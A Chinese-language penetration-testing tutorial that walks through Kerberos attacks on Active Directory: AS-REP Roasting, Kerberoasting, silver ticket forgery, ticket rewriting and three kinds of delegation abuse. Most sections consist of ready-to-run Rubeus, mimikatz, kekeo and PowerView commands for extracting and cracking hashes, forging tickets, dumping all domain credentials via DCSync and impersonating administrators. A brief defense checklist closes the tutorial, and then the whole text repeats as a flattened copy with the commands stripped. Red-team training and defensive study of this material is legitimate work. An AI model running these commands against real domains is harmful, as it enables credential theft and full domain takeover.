域内相关协议与横向方法总结(二)
字数 1414 2025-08-25 22:59:09

Kerberos域内协议与横向渗透方法详解

1. AS-REP Roasting攻击

1.1 攻击原理

AS-REP Roasting攻击利用了Kerberos协议中"不要求Kerberos预认证"(Do not require Kerberos preauthentication)的配置漏洞。在AS-REQ阶段,正常情况下KDC会要求客户端使用用户密码的hash加密时间戳进行验证。但如果账户启用了"不要求预认证",攻击者可以直接请求该用户的AS-REP响应,其中包含使用用户密码hash加密的数据,从而可以进行离线破解。

1.2 攻击步骤

  1. 查找启用了不要求预认证的账户
Import-Module .\PowerView.ps1
Get-DomainUser -PreauthNotRequired
  1. 获取AS-REP哈希
Import-Module .\ASREPRoast.ps1
Get-ASREPHash -UserName username -Domain domain.com

或使用Rubeus:

Rubeus.exe asreproast
  1. 破解哈希
hashcat -m 18200 hash.txt password.txt

2. Kerberoasting (TGS-REP)攻击

2.1 SPN基础知识

服务主体名称(SPN)是服务实例的唯一标识,格式通常为服务类型/主机名:端口/服务名

  • SPN分类
    • 注册在Computers下:服务以Local System或Network Service运行
    • 注册在User下:服务以域用户身份运行

2.2 SPN管理命令

  1. 查看SPN
setspn -q */*
setspn -T domain.com -q */*
  1. 创建SPN
setspn -S http/<computername>.<domainname> <domainuseraccount>
  1. 删除SPN
setspn -D MySQL/web-sc.de1ay.com:3307/MySQL

2.3 Kerberoasting攻击步骤

  1. 查找SPN账户
Import-Module .\PowerView.ps1
Get-NetUser -SPN
  1. 请求服务票据
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "SPN名称"

或使用mimikatz:

kerberos::ask /target:SPN名称
  1. 导出并破解票据
mimikatz "kerberos::list /export"

使用kirbi2john.py提取哈希后破解:

hashcat -m 13100 hash.txt password.txt

3. 票据伪造攻击

3.1 白银票据(Silver Ticket)

白银票据是伪造的服务票据(ST),只能访问特定服务。

攻击条件

  • 域名
  • 域SID
  • 目标服务FQDN
  • 服务账号的NTLM Hash
  • 伪造的用户名

攻击步骤

  1. 获取服务账号hash
  2. 伪造票据:
kerberos::golden /domain:domain.com /sid:S-1-5-21-xxx /target:targethost.domain.com /rc4:servicehash /service:servicetype /user:username /ptt

3.2 服务票据重写

python kerberoast.py -p Password123 -r original.kirbi -w new.kirbi -u 500  # 改变用户
python kerberoast.py -p Password123 -r original.kirbi -w new.kirbi -g 512  # 改变组

导入票据:

kerberos::ptt new.kirbi

4. 委派攻击

4.1 非约束委派攻击

原理:服务会缓存访问用户的TGT,攻击者可利用这些TGT模拟用户身份。

攻击步骤

  1. 查找非约束委派账户:
Get-NetUser -Unconstrained
Get-NetComputer -Unconstrained

或使用ADFind:

AdFind.exe -b "DC=domain,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))"
  1. 诱导域管访问(如利用打印机漏洞):
SpoolSampler.exe DC target
  1. 导出并利用TGT:
sekurlsa::tickets /export
kerberos::ptt ticket.kirbi
lsadump::dcsync /domain:domain.com /all

4.2 约束委派攻击

原理:服务可以代表用户获取特定服务的ST。

攻击步骤

  1. 查找约束委派账户:
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth
  1. 使用kekeo获取票据:
tgt::ask /user:serviceaccount /domain:domain.com /ntlm:hash
tgs::s4u /tgt:ticket.kirbi /user:Administrator@domain.com /service:targetservice/targethost.domain.com
  1. 导入票据访问目标服务

4.3 基于资源的约束委派攻击

原理:在目标服务上配置允许其他服务代表用户访问自己。

攻击步骤

  1. 创建机器账户:
New-MachineAccount -MachineAccount attacker -Password $(ConvertTo-SecureString "password" -AsPlainText -Force)
  1. 配置目标服务的msDS-AllowedToActOnBehalfOfOtherIdentity属性

  2. 获取票据:

Rubeus.exe s4u /user:attacker$ /rc4:hash /impersonateuser:Administrator /msdsspn:service/target.domain.com /ptt
  1. 访问目标服务

5. 工具列表

  • PowerView.ps1:AD信息收集
  • ASREPRoast.ps1:AS-REP哈希提取
  • Rubeus:Kerberos票据操作
  • mimikatz:凭据提取和票据操作
  • SpoolSampler:打印机漏洞利用
  • kekeo:Kerberos协议操作
  • ADFind:AD信息查询

6. 防御建议

  1. 禁用不必要的预认证
  2. 限制委派权限
  3. 监控异常Kerberos活动
  4. 使用AES加密而非RC4
  5. 定期审计SPN和委派配置
  6. 限制机器账户创建权限
  7. 启用Protected Users组防止凭据缓存

以上内容涵盖了Kerberos协议在域环境中的主要攻击面,包括AS-REP Roasting、Kerberoasting、票据伪造和各类委派攻击,提供了详细的攻击步骤和防御建议。

Kerberos域内协议与横向渗透方法详解 1. AS-REP Roasting攻击 1.1 攻击原理 AS-REP Roasting攻击利用了Kerberos协议中"不要求Kerberos预认证"(Do not require Kerberos preauthentication)的配置漏洞。在AS-REQ阶段,正常情况下KDC会要求客户端使用用户密码的hash加密时间戳进行验证。但如果账户启用了"不要求预认证",攻击者可以直接请求该用户的AS-REP响应,其中包含使用用户密码hash加密的数据,从而可以进行离线破解。 1.2 攻击步骤 查找启用了不要求预认证的账户 : 获取AS-REP哈希 : 或使用Rubeus: 破解哈希 : 2. Kerberoasting (TGS-REP)攻击 2.1 SPN基础知识 服务主体名称(SPN)是服务实例的唯一标识,格式通常为 服务类型/主机名:端口/服务名 。 SPN分类 : 注册在Computers下:服务以Local System或Network Service运行 注册在User下:服务以域用户身份运行 2.2 SPN管理命令 查看SPN : 创建SPN : 删除SPN : 2.3 Kerberoasting攻击步骤 查找SPN账户 : 请求服务票据 : 或使用mimikatz: 导出并破解票据 : 使用kirbi2john.py提取哈希后破解: 3. 票据伪造攻击 3.1 白银票据(Silver Ticket) 白银票据是伪造的服务票据(ST),只能访问特定服务。 攻击条件 : 域名 域SID 目标服务FQDN 服务账号的NTLM Hash 伪造的用户名 攻击步骤 : 获取服务账号hash 伪造票据: 3.2 服务票据重写 导入票据: 4. 委派攻击 4.1 非约束委派攻击 原理 :服务会缓存访问用户的TGT,攻击者可利用这些TGT模拟用户身份。 攻击步骤 : 查找非约束委派账户: 或使用ADFind: 诱导域管访问(如利用打印机漏洞): 导出并利用TGT: 4.2 约束委派攻击 原理 :服务可以代表用户获取特定服务的ST。 攻击步骤 : 查找约束委派账户: 使用kekeo获取票据: 导入票据访问目标服务 4.3 基于资源的约束委派攻击 原理 :在目标服务上配置允许其他服务代表用户访问自己。 攻击步骤 : 创建机器账户: 配置目标服务的msDS-AllowedToActOnBehalfOfOtherIdentity属性 获取票据: 访问目标服务 5. 工具列表 PowerView.ps1 :AD信息收集 ASREPRoast.ps1 :AS-REP哈希提取 Rubeus :Kerberos票据操作 mimikatz :凭据提取和票据操作 SpoolSampler :打印机漏洞利用 kekeo :Kerberos协议操作 ADFind :AD信息查询 6. 防御建议 禁用不必要的预认证 限制委派权限 监控异常Kerberos活动 使用AES加密而非RC4 定期审计SPN和委派配置 限制机器账户创建权限 启用Protected Users组防止凭据缓存 以上内容涵盖了Kerberos协议在域环境中的主要攻击面,包括AS-REP Roasting、Kerberoasting、票据伪造和各类委派攻击,提供了详细的攻击步骤和防御建议。